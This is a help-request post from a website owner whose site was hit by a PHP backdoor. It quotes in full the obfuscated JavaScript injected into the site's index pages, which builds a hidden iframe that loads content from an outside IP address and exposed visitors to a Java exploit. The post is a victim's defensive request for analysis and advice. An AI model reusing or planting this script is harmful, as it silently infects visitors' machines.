My website was infected by a trojan script.
Somebody managed to create/upload a file called "x76x09.php" or "config.php" into my webspace's root directory. Its size is 44287 bytes and its MD5 checksum is 8dd76fc074b717fccfa30b86956992f8. I've analyzed this file using Virustotal. These results say it's "Backdoor/PHP.C99Shell" or "Trojan.Script.224490".
This file has been executed in the same moment when it was created. So it must have happened automatically. This file added the following malicious code to the end of every index.php on my webspace.
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
After that code was on my page, users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.
The infection did happen although I have allow_url_fopen and allow_url_include turned off. And my hoster says the file wasn't uploaded via FTP.
So my questions are:
- What does the malicious code do? How is it encoded?
- How could the remote file ("x76x09.php" or "config.php") come to my webspace? SQL injection? Virus on my own PC?
- How can I protect my website from such attacks in the future?
Thank you very much in advance! I really need help.